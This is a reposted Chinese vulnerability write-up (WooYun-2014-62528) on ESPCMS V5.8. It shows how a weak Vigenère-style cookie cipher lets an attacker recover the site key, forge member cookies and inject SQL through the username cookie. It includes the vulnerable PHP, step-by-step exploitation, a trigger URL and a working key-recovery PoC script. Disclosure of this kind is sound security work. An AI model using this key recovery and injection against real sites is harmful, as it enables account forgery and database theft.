美文网首页
ESPCMS UTF8 正式版暴力注入

ESPCMS UTF8 正式版暴力注入

作者: 索马里的乌贼 | 来源:发表于2018-08-03 14:39 被阅读0次
    1. 发布时间:2014-05-27
    2. 公开时间:2014-08-22
    3. 漏洞类型:sql注射
    4. 危害等级:高
    5. 漏洞编号:WooYun-2014-62528
    6. 测试版本:V5.8.14.03.03 UTF8

    简要描述

    弱加密算法的悲剧 伪造任意用户登录 注入 一系列问题


    详细说明

    /public/class_dbmysql.php行144

    function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
        $result = null;
        if ($operation == 'ENCODE') {
            for ($i = 0; $i < strlen($string); $i++) {
                $char = substr($string, $i, 1);
                $keychar = substr($key, ($i % strlen($key)) - 1, 1);
                $char = chr(ord($char) + ord($keychar)); //看到这应该懂了
                $result.=$char;
            }
            $result = base64_encode($result);
            $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
        } elseif ($operation == 'DECODE') {
            $data = str_replace(array('-', '_'), array('+', '/'), $string);
            $mod4 = strlen($data) % 4;
            if ($mod4) {
                $data .= substr('====', $mod4);
            }
            $string = base64_decode($data);
            for ($i = 0; $i < strlen($string); $i++) {
                $char = substr($string, $i, 1);
                $keychar = substr($key, ($i % strlen($key)) - 1, 1);
                $char = chr(ord($char) - ord($keychar));
                $result.=$char;
            }
        }
        return $result;
    }
    

    很明显用的维吉尼亚密码算法。
    这个算法。。。key 原始文本 结果 3个值互相交换位置都可以运算
    只要知道其中两个就能算出第三个,跟异或差不多。
    来看看cookie的处理:
    /interface/member.php 行109

    $this->fun->setcookie('ecisp_member_username', $this->fun->eccode($memberread['username'], 'ENCODE', db_pscode));
    $this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));
    

    可以看到 ecisp_member_info这个cookie是由 userid alias integral mcid email等等等等组合起来的 这里先不看后面那么多 因为密钥生成的时候指定长度为20~40 前面这些已经足够我们发挥了
    通过注册部分sql语句可以知道 integral默认为0 mcid默认为1 至于alias没有看到初始化的地方,反正这里进sql是null。所以ecisp_member_info的前面部分应该是
    userid||0|1|email
    密钥最长有40位,所以这里我们注册账号的时候填一个很长的email

    27160419a34afc4bdb6863012f8bb77d91ea9850.jpg
    注册完成之后去个人中心的个人资料修改页面查看源码 能找到userid
    比如我的这个是3 好了 完整的前半部分cookie就是
    3||0|1|22222222222222222222@**.**.**.**|
    然后查看当前的cookie 记下ecisp_member_info值 丢进POC
    27160847dbd461ce2ab445e6ea1fce71ee770412.jpg

    得到这么一串东西
    2ed61aee0bba9ff5fa59652ed61aee0bba9ff5
    这里说明一下前面的加密算法

    $keychar = substr($key, ($i % strlen($key)) - 1, 1);
    

    这里可以看到 key不是从第一位开始加密的 当i是0或者等于密钥长度的时候 `keychar = substr($key,-1,1)` 取的是最后一位 再来看刚才那串东西

    2ed61aee0bba9ff5fa5965 2ed61aee0bba9ff5
    这里我加了个空格 可以看到5965之后就开始重复了
    第一位是最后一位(拗口)所以真正的密钥应该是 ed61aee0bba9ff5fa59652 查看一下配置文件验证 没错吧

    2716140909e8bfa4e5191c68090cf7ca0a984b0a.jpg

    拿到这个key之后 就可以随意自己构造合法的cookie了
    可以利用的地方不少 我这里随便找了一个点
    /interface/messmain.php 行43

    function inajaxlist(){
    ……省略……
    $ec_member_username = $this->member_cookieview('username');
    if ($ec_member_username) {
        $reMem = $this->get_member($ec_member_username);
        $this->pagetemplate->assign('member', $reMem);
    }
    

    member_cookieview()取到username之后丢给了get_member()
    先看member_cookieview()
    /public/class_connector.php 行401

    function member_cookieview($keyword = false) {
            $retrunstr = array();
            $retrunstr['username'] = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);
            $user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));
            list($retrunstr['userid'], $retrunstr['alias'], $retrunstr['integral'], $retrunstr['mcid'], $retrunstr['email'], $retrunstr['lastip'], $retrunstr['ipadd'], $retrunstr['useragent'], $retrunstr['adminclassurl']) = $user_info;
            $retrunstr['userid'] = intval($retrunstr['userid']);
            $retrunstr['integral'] = intval($retrunstr['integral']);
            $retrunstr['mcid'] = intval($retrunstr['mcid']);
            return !$keyword ? $retrunstr : $retrunstr[$keyword];
        }
    

    从cookie中取出之后直接return了 没过滤
    再看get_member()
    public/class_connector.php 行2141

    function get_member($username = null, $userid = 0, $returnname = null) {
        $db_table = db_prefix . 'member';
        $db_where = empty($username) ? " WHERE userid=$userid" : " WHERE username='$username'"; //username直接进查询
        $db_sql = "SELECT * FROM $db_table $db_where";
        $rsLIST = $this->db->fetch_first($db_sql);
        if (!empty($returnname)) {
            return $rsLIST[$returnname];
        } else {
            return $rsLIST;
        }
    }
    

    总的流程大概就是 cookie->eccode解密->sql; 整流程就通了


    漏洞证明

    用获得的key来加密sql注入语句
    这里就加了个单引号

    271632181f9685b2a283ceeb849a1a91d92c2389.jpg

    修改cookie ecisp_member_username值为生成的字符串
    访问/index.php?ac=messmain&at=ajaxlist&did=1&ismess=1

    27163404b4a4dc0a4aa98e30eb8d326670ab75b6.jpg

    附上计算key的poc

    $text = ""; //原文
    $cookie = ""; //cookie
    $dict = "0123456789abcdef";
    $bincookie = base64_decode($cookie);
    for ($j=0; $j < strlen($text); $j++) { 
        for ($k=0; $k < 16; $k++) { 
            if( chr( ord($bincookie[$j]) - ord($dict[$k]) ) == $text[$j] )
            {
                echo $dict[$k];
            }
        }
    }
    

    修复方案

    换个算法吧

    相关文章

      网友评论

          本文标题:ESPCMS UTF8 正式版暴力注入

          本文链接:https://www.haomeiwen.com/subject/etgyvftx.html